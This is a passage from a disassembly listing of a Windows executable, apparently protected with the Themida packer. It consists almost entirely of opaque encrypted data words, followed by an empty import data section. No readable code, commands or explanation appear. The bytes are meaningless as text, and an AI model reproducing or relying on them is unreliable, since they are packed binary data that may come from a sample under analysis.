		dd 8A04EF28h, 0AE8EEh, 78E80000h, 120F4648h, 30E94C40h
		dd 665AD98Bh, 81B850BAh, 98921CC3h, 0BE956h, 56FF0000h
		dd 0A2F8407Eh, 0B76AEEACh, 0C7BF0F46h, 0DBAB966h, 0B52DBAB9h
		dd 0F8F7B805h, 0F572C1Dh, 575BF7BFh, 58F0Fh, 81660000h
		dd 5FF298DEh, 11E9h, 0BDDD5600h, 885F6A46h, 0F6ABC65Fh
		dd 39BBDD5Ch, 6060E499h, 0BF0F5A52h, 8B6661F0h,	810F61D8h
		dd 3, 66D88B66h, 0B0BBDE8Bh, 0E950A258h, 7, 84289BD2h
		dd 8B99A25Fh, 0ACD081D7h, 0F1E9430h, 58Ch, 0BF0F6000h
		dd 0E96061D7h, 6, 0E471F77h, 5857C0FAh,	870F5661h, 2, 0B15910B7h
		dd 9575BB8Fh, 0F38B0528h, 3EDCBA66h, 0E8DEB70Fh, 8, 720FA68Fh
		dd 562944BBh, 0DE8h, 0E34B3C00h, 0FA67209Fh, 0ACE45AFFh
		dd 8166BF28h, 59D46CC0h, 8012B05Eh, 0B0F95ED7h,	0AE960B9h
		dd 0C9000000h, 0C9C4912Ah, 491EA6Bh, 0F2B70F84h, 0BE665361h
		dd 665B5D5Ah, 0F8DB7BBh, 8Ch, 0CE800h, 99620000h, 0F5244BBFh
		dd 47220A5Ch, 0F2BB0F9Bh, 5E3BF5A0h, 66C9BF0Fh,	418BDB81h
		dd 0BB5D9BFh, 6614B628h, 0E97C66BFh, 11h, 0A315FA9h, 69E82CE5h
		dd 5E36F3CAh, 0DE16E434h, 6BC3812Ah, 57280B6Ch,	28D0Fh
		dd 0CF8B0000h, 0B7DA815Fh, 8132C171h, 8DBD0AF7h, 2830F6Ch
		dd 8A000000h, 0BE6651DCh, 815BB7F0h, 0A107E3E9h, 0C88BF966h
		dd 0E904CE80h, 8, 6B17901Ch, 239EC6A8h,	14E860h, 33860000h
		dd 5AE1AB87h, 0A642B736h, 3F66E4C4h, 4057C720h,	830F701Bh
		dd 0
		dd 14E85Bh, 7FEF0000h, 0DE30EAA8h, 9D029D1Ch, 0A2D60AD8h
		dd 0D1DDE2EAh, 0FBB980BEh, 5A22C774h, 6CBA6661h, 5E958h
		dd 0F0430000h, 525D28EAh, 0E959D9B5h, 5, 0F7EA1979h, 0F9BF0F2Fh
		dd 4CE68166h, 3810F12h,	66000000h, 10E9CE8Bh, 7C000000h
		dd 51F65667h, 35CC5A57h, 0EB7225Ah, 81FCA6EAh, 0C28DC6C7h
		dd 0F8DE8A28h, 2B3CB8FCh, 0CA8A05CBh, 12E9h, 0C28BF500h
		dd 0E601B400h, 91559EE0h, 10915EDDh, 0F1B01C3h,	850FFABFh
		dd 3, 0FF9BF0Fh, 1F88h,	8E800h,	0D6940000h, 35FB5A44h
		dd 0CE9393Fh, 0A2000000h, 0B9138C91h, 75B95CB2h, 5F99B80Eh
		dd 36F28166h, 0F3BE6640h, 57EAB57Ch, 0DE85659h,	0DB000000h
		dd 4AFF6AE6h, 93F545FBh, 86B97F86h, 0E42C9CBBh,	0B15E5F17h
		dd 31C88159h, 0FC3ABE52h, 44C0E881h, 810F32FCh,	5, 0FF4EAFB9h
		dd 0E9F86015h, 0Fh, 73B7BD14h, 7FB11B5Fh, 0CEDCA7FAh, 61F30A0Fh
		dd 8E46BF66h, 0BE9h, 3BA68300h,	7B7B3E3Bh, 0AB5E9786h
		dd 0B09ABA66h, 0EBE6651h, 0F57592Bh, 84h, 81665F00h, 6658F5D1h
		dd 8A60CE8Bh, 0BE961DDh, 86000000h, 93A34624h, 619E5414h
		dd 8B665C85h, 40EF80CAh, 0E8FEBF0Fh, 11h, 26E73533h, 2FCC9421h
		dd 0A95FD18Ch, 40A13838h, 0FE905h, 0CAEA0000h, 0F91B2736h
		dd 6AE03203h, 5D8436E9h, 0F9605EC2h, 0AB23C7BFh, 890F617Dh
		dd 4, 0F3EEBE66h, 1A8F0F60h, 0E8000000h, 14h, 1F85A213h
		dd 0D9F92145h, 0AA246ABDh, 0D97B447Dh, 0B1E9FFDFh, 61F88A5Fh
		dd 28CA8166h, 0E08151F4h, 1701FE4Dh, 0C88B665Eh, 4EB5F681h
		dd 8A0F5021h, 11h, 0CE9h, 0D9EECD00h, 543E2A14h, 0FE09EB08h
		dd 0FE9E7h, 0D3D20000h,	0F6D666ADh, 452B81D1h, 0A4174325h
		dd 3820FF0h, 50000000h,	0E9605EF8h, 7, 852F3BAAh, 0F96CBB1Ah
		dd 89EB8061h, 0F18B66F8h, 0BFF8FA8Bh, 74DB5C3Eh, 80525A52h
		dd 8158C4C6h, 0D9F59CDAh, 9E9F571h, 44000000h, 0C2ED8F90h
		dd 56F36A82h, 0E013D381h, 0D98026ACh, 0DEBF0FA9h, 0BE9h
		dd 45B37600h, 5FA0857Dh, 0ADBFCAEh, 11E9h, 7A625E00h, 145F26FDh
		dd 59123E40h, 0B8B37BB6h, 0F78B06C4h, 0FF7B70Fh, 983h
		dd 81666000h, 563202C1h, 0F88B615Fh, 0DA8B6660h, 4850Fh
		dd 0BB660000h, 66619CF2h, 0BEBB0CBEh, 551663A0h, 0F5E53FCh
		dd 489h, 3DBF6600h, 2F7815Bh, 0F29B019h, 188Bh,	13E900h
		dd 0D5A0000h, 0A5547149h, 3B8141EEh, 144F505Ch,	4F7C6370h
		dd 0B7DB8180h, 0E82E1A6Eh, 11h,	11598741h, 0BB52E8AFh
		dd 93B53D64h, 0E5095046h, 3ABA6669h, 60F55864h,	52D7B70Fh
		dd 860F6159h, 2, 8B0F15B7h, 5, 66D78166h, 0D911BB7Ah, 0BF0F28A7h
		dd 5E9D6h, 3BD30000h, 0FC26256h, 48Bh, 0EBBA6600h, 8B66524Bh
		dd 0FA8B59CEh, 16ABB951h, 0E9592F17h, 8, 3FAA31Fh, 0FDF87125h
		dd 5E8h, 0DB9B0300h, 8166739Bh,	5ED450C7h, 10E9h, 0A68CCE00h
		dd 0BCB6107Eh, 4BCB5538h, 489C3A60h, 0F2C7817Ah, 0E95068EBh
		dd 13h,	0D869961Bh, 66F62536h, 0EFB521A9h, 8D15A525h, 0E8DDE07Bh
		dd 5, 0A7BCD393h, 5FF7B13Eh, 0AE95660h,	4B000000h, 0E05A83BAh
		dd 5C6137C2h, 66605936h, 0F22ECBFh, 6161D6B7h, 0BAD2BF0Fh
		dd 30A6FFD1h, 0FE8h, 0D136000h,	5D94C0E8h, 4C35F612h, 0D2D8D54Ch
		dd 1820F58h, 0F5000000h, 7E9h, 30CEB700h, 0A14A4DB2h, 41FEBE66h
		dd 2EE08166h, 0C68B66D2h, 9DDF8156h, 592D5FC4h,	0BEDEBF0Fh
		dd 701F37D8h, 35F0BE66h, 13E9FCh, 0A6430000h, 88C2C37Bh
		dd 4AFD7648h, 40521771h, 11B4108Ch, 8E8FCh, 34550000h
		dd 4C171B75h, 8B6610B6h, 0CE95BF7h, 52000000h, 6448D630h
		dd 0F28EB1E8h, 66414DD3h, 0EA90DA81h, 3FF6D181h, 0EE95E01h
		dd 64000000h, 10E098CBh, 0AD053BB8h, 0D0D02EB8h, 870F02h
		dd 80000000h, 0C88A05E0h, 81F6BF0Fh, 3FD0BBE0h,	0CBB86639h
		dd 8E0FFCCCh, 1, 0BE66F8F5h, 0F7813140h, 1F7B1A87h, 154BBA66h
		dd 0AE9h, 25135800h, 0A0195FC1h, 8BCE2C63h, 5E9D0h, 0A6350000h
		dd 668FB6F5h, 664468BAh, 7EC9DE81h, 13E9h, 335F5B00h, 0FCDA4E0Eh
		dd 728BC547h, 0CE0582FFh, 0AC21CED6h, 0CEC4C081h, 0F604099h
		dd 480h, 0F8B96600h, 0C1816661h, 0FC610892h, 0AE9h, 417D6900h
		dd 4CE2F3B6h, 80368F93h, 8E917ECh, 9000000h, 442952F6h
		dd 0E8D40877h, 0Bh, 0C8FA464Dh,	0AB94660Bh, 66596C3Ch
		dd 588479B9h, 58A0Fh, 81660000h, 0E9C88BE6h, 0Fh, 2E3F743Eh
		dd 52FE7A6Dh, 59F343E1h, 0FBAAE75h, 6650FFBFh, 0AEE6C781h
		dd 14E85Ah, 33F0000h, 393D80D8h, 0C05DA2FBh, 0AE426FB3h
		dd 32753589h, 5E9B492h,	0CE000000h, 6185249Bh, 2840F5Bh
		dd 0B4000000h, 8BE3815Bh, 66741F94h, 0F615EF81h, 9E8h
		dd 0AAF98000h, 0BD436BF0h, 8B56FCDCh, 8B5858CBh, 0A5B860FBh
		dd 6117F880h, 0CD8060FCh, 7947BF92h, 0E8612656h, 5, 0EE53A458h
		dd 0CABF0F87h, 99D9815Eh, 81614DA6h, 0A5BA1FDFh, 8FB86641h
		dd 0CE99Ah, 68170000h, 0B4DB16DBh, 9ED5E272h, 0B70F94B0h
		dd 0FD38BDAh, 88Ch, 0F3815200h,	0A11DFDBh, 9BB8665Fh, 0F8C68A9Ah
		dd 0C2BF0F50h, 0C18B665Eh, 5860Fh, 5EBE0000h, 0E803C881h
		dd 0Eh,	0CA00F8BEh, 25FA454h, 0FEFC23D7h, 0BF0FD87Ch, 830F58C7h
		dd 2, 0BF0FCF8Bh, 2AD080F9h, 0AE3EEF81h, 880F5AF3h, 3
		dd 0B3F2BF0Fh, 0E858528Ah, 12h,	488ADDA5h, 0E4BCA268h
		dd 0B075231Eh, 98ABC025h, 8D0FE4C0h, 15h, 0FE8h, 3C356600h
		dd 87162FF6h, 0CB253DD4h, 0AE7D64FBh, 6660595Ah, 0E081DE8Bh
		dd 20F42F4Ch, 0F6816661h, 0F68024C6h, 5860F7Ah,	0BE000000h
		dd 5FB4019Ah, 0E7816656h, 805942B7h, 810F21D4h,	2, 60608CB4h
		dd 0B6EEF081h, 5A5727EAh, 0F1816661h, 8161D880h, 6141D2C8h
		dd 0DAB86055h, 66531AE9h, 61DE38BFh, 8902AABBh,	13E926h
		dd 18F90000h, 0C6D21F5Ch, 1A81BEE0h, 490E743Fh,	1B306D7Ch
		dd 12E900h, 53D40000h, 0BD1A0F5Eh, 6B3C38EDh, 0D49E51DFh
		dd 1C0D7F7Ah, 1F09BA66h, 0C38AFE8Ah, 81665252h,	59EA0CEFh
		dd 58C4805Fh, 11E8h, 0B70B3700h, 4A7AD181h, 6AB267E8h
		dd 0E0EF0A83h, 81669A01h, 5A8ED9E7h, 0DF8BFBB1h, 0E979B5F8h
		dd 0Dh,	0B6A6D43Ah, 3571D8FAh, 795140EDh, 0F5F281F8h, 0F784607h
		dd 382h, 0C1BF0F00h, 14E950h, 5AFC0000h, 30C62243h, 20CB4C3Ah
		dd 0DA32CD13h, 0B71C5848h, 6658C4D8h, 41A4E781h, 14E9h
		dd 0B619FD00h, 78C72B3Bh, 63606A91h, 0D570B66Ch, 0CF16A764h
		dd 0EE9FC28h, 0D000000h, 522869C6h, 0A5918DFBh,	1B051D9h
		dd 0DE9CAh, 0BB2D0000h,	9BEFCB69h, 8C0CC17h, 80517807h
		dd 0B70FBEF0h, 810F60D1h, 15h, 10E9h, 0B8E5DE00h, 613B94B6h
		dd 0BD884DF8h, 0B40D0783h, 0E9FC617Ch, 0Eh, 0ABA39E46h
		dd 332E2DFDh, 3B745AAFh, 0CC8A2301h, 11E9h, 1060C100h
		dd 92F64938h, 0AEE09630h, 79FBEEFFh, 94BBA4F2h,	53384D0Ah
		dd 5BB3E280h, 0A527DB9h, 18810F13h
		dd 0E9000000h, 13h, 133BFEF5h, 42BE833Eh, 2A3A727h, 6B523873h
		dd 0F5F8F265h, 0E8F6D180h, 11h,	90E58669h, 0CD28FAA6h
		dd 0C261A569h, 0FEF3F26Eh, 14E8A9h, 46E60000h, 0D8532E8Dh
		dd 81CA6770h, 2A1D376Eh, 50657ADh, 840F808Ah, 0
		dd 0E951595Fh, 12h, 693759Ch, 0E0D5E449h, 0F7FD25F7h, 0DF956C98h
		dd 60581E5Bh, 38E0Fh, 0EB800000h, 61D98BFAh, 2830Fh, 0E68A0000h
		dd 0C53FBA66h, 66D68B66h, 0D08BCB8Bh, 8000E780h, 35B743DCh
		dd 10E9h, 0AFC47F00h, 251E8E65h, 188B7B2Eh, 0D04886Eh
		dd 81C18BC3h, 7D6DD7D0h, 0BE9561Ah, 3B000000h, 1B90704Bh
		dd 0EB1A15A0h, 0F5E28B3h, 820FFAB7h, 0Eh, 9E9h,	11992C00h
		dd 3291106Fh, 6E86EB6h,	0DD000000h, 1CB7B6Eh, 37D08153h
		dd 5F10D212h, 66F28B66h, 530287BEh, 65E08150h, 5E7122D3h
		dd 8B50605Ah, 66615AD7h, 815834BFh, 0AA8A6BEFh,	3FB96626h
		dd 890FF562h, 0
		dd 0EE9h, 769D6800h, 50FE88F8h,	8BE7C011h, 0FB28754h, 158Ch
		dd 0DE800h, 8F9A0000h, 0C817857h, 4367DFD1h, 6011A559h
		dd 0D9815A61h, 577F0A4Dh, 0F08B6652h, 0FBB70F5Ah, 9BF08166h
		dd 0F0816607h, 850F6231h, 15h, 0EE956h,	3E840000h, 0DC27E18Eh
		dd 0A5B2584Eh, 55E297Ch, 74D3815Fh, 603F12FEh, 0DE8h, 0D9DF2300h
		dd 7BE11A6Bh, 7A298084h, 8D0F7872h, 0
		dd 8D0F6158h, 3, 66DAB70Fh, 0A9B0E181h,	860F60h, 0BF000000h
		dd 253634AAh, 8B666061h, 0D88161D8h, 1205E480h,	0E9FB8B66h
		dd 0Dh,	12306EB0h, 0BE75E94Bh, 6438055Ch, 0DE9D8h, 0BCD40000h
		dd 83CBAD56h, 0B6479B5h, 0F3BB4E2h, 58Bh, 2401B900h, 8166246Fh
		dd 0FC226E8h, 6656C3B7h, 605AD78Bh, 890Fh, 61FC0000h, 19850Fh
		dd 830F0000h, 13h, 0EE9h, 0DDB93400h, 11E19036h, 0EAAA3B07h
		dd 8BA00CBAh, 0F68166FAh, 0BF0F300Eh, 81FE8BD7h, 0ACE135DFh
		dd 14E837h, 0F3490000h,	45B5DFFh, 0A051A936h, 82826A2Bh
		dd 0E0DD6BAAh, 830FA96Fh, 2, 0E95A6160h, 0Ah, 31E6C08Ah
		dd 2B1CCC13h, 0B70FA1D6h, 0F960F8DBh, 0CE9h, 0F1A7E500h
		dd 0CB597134h, 73F525FFh, 0E8526195h, 9, 2BC52750h, 138F9699h
		dd 0CE932h, 0D6740000h,	0BB9398E4h, 13B49A47h, 5E5FCB01h
		dd 58C0Fh, 81660000h, 609921C3h, 9E960h, 1850000h, 54ED345h
		dd 61EAF502h, 11E961FCh, 22000000h, 77203B9h, 0A0FDA4C2h
		dd 45B05527h, 599F121Ch, 0DE957h, 83170000h, 723902E1h
		dd 54F972B5h, 586D29EDh, 0E9C6BF0Fh, 12h, 0E57DE5E5h, 0DA093F45h
		dd 4259C6FDh, 7C082FE8h, 8E9C8A2h, 0B5000000h, 0A4B4529h
		dd 66B5A1C7h, 402E381h,	0A1DB8166h, 0EE8EAh, 0D74F0000h
		dd 13053C6h, 0EE524D4Ah, 64BA9230h, 14E9h, 1F130A00h, 0C58FF803h
		dd 0C3801E03h, 0A79217B1h, 7F70C0A4h, 8C0F5F63h, 4, 0D643BE66h
		dd 0E9C9B70Fh, 11h, 0CE6A5F3Ch,	0EF131A6Dh, 694B9213h
		dd 0EBDD5BBh, 13E870h, 0CAAC0000h, 0E867AE58h, 1A4416DAh
		dd 97416CE4h, 0E7A5BF73h, 58AAB2D6h, 0CF0EE681h, 63B85485h
		dd 664AAFA4h, 0E960C0BAh, 0Ch, 88E994ECh, 0A69C1839h, 859DF1CEh
		dd 138C0Fh, 0E9520000h,	0Ch, 0AE18CBE4h, 0E4CEC327h, 395576D0h
		dd 38A0F59h, 80000000h,	0DE9B9C4h, 0E7000000h, 8E67E4B3h
		dd 20B21508h, 9E1AA6B0h, 0EE9h,	507A1700h, 3FA587DDh, 426C8F29h
		dd 0FC53EFDh, 0B360F3BFh, 810F607Bh, 0
aFbslAabK	db 'faaӊ',0
		db 0E9h, 0Ch, 0
		dd 0BD250000h, 55FE07DEh, 9B6A7AF1h, 81665700h,	667E2CC2h
		dd 0F365ABBh, 68Bh, 2DE68100h, 0E96762E3h, 9, 0D3A75714h
		dd 0AAFC0FD0h, 38C0F05h, 0F000000h, 9E8F6B7h, 0CB000000h
		dd 0C327AE18h, 76D0E4CEh, 7E8h,	55822F00h, 734AF6Dh, 13E9h
		dd 76131300h, 0CEDA30A6h, 8C8D0C9Dh, 5C78CC2Fh,	0E99E4CFFh
		dd 12E9585Ah, 64000000h, 7E926CBFh, 1B94D664h, 8F0C9754h
		dd 2A227F29h, 5820F3Ch,	0BB000000h, 7D140573h, 6FEEBE66h
		dd 66DF8B66h, 0C88BC68Bh, 0FF6C380h, 0FFCF9BFh,	5352C6BFh
		dd 10E9h, 0AB946600h, 78596C3Ch, 908F9DA3h, 0B5082E20h
		dd 0F5E59F0h, 0EF8AD7B7h, 8B0F50h, 5F000000h, 9E9h, 22618500h
		dd 0F3BFD1ECh, 0F280EB15h, 0D38166E5h, 0C68BF2A8h, 0FE8B6660h
		dd 0E961C68Bh, 8, 6A8EB9B7h, 7C90FBD7h,	8A7CC180h, 0F88B66EFh
		dd 198F0Fh, 0DE80000h, 18000000h, 0A4C5A6C5h, 273152EEh
		dd 59F1B22Ch, 880Fh, 665F0000h,	0FF5D08Bh, 18Ch, 0FF8F500h
		dd 85h,	7E900h,	53420000h, 406CB58Ch, 0A800F26h, 0E9000000h
		dd 5, 55D9A1C3h, 5FFC57F2h, 4279D981h, 74B742F6h, 0BF84C480h
		dd 38D293DFh, 8C0Fh, 81660000h,	0E96CD1CEh, 0Eh, 0C25D8436h
		dd 1BC03512h, 0D3E672F0h, 0BFA061h, 0B311D83Ah,	9E942h
		dd 0FFB80000h, 7CD8FF88h, 0E93C3F12h, 11h, 79599F12h, 91FAF9B0h
		dd 0D224874h, 605A03A1h, 0BABB6633h, 14F78182h,	0E96B003Ah
		dd 9, 0FA7D98DEh, 0FC58A85Dh, 10E9DDh, 0A5DE0000h, 71F3710h
		dd 3350F0A9h, 0B30C7B29h, 8B664CFBh, 0CA8166C3h, 0AE9FD32h
		dd 0DC000000h, 166E3EE4h, 7052A7F0h, 31EFBB71h,	8B6042DFh
		dd 0DA8166FBh, 51616B60h, 4B66BE66h, 0C381665Bh, 5E87B47h
		dd 0B7000000h, 455CFEDCh, 0A41EBA66h, 0FDE8B5Eh, 283h
		dd 0F27B000h, 386h, 0F98B6600h,	5E8h, 0E8988300h, 665A3AA5h
		dd 3875EA81h, 0F8E0Fh, 0AE90000h, 0E3000000h, 0BB85C631h
		dd 66F9C441h, 0FADA97Ah, 46h dup(0FADA911h), 0A9ADA911h
		dd 590h	dup(0A9BD7C40h), 4B06FF40h, 61h	dup(4B06FF64h)
		dd 8606FF64h, 88h dup(860E27DBh), 4D8h dup(1E611144h)
		dd 0CCCC1144h, 864h dup(0CCCCCCCCh), 0CCh, 28Dh	dup(0)
Themida_	ends

; Section 5. (virtual address 0016C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0016C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 56C000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start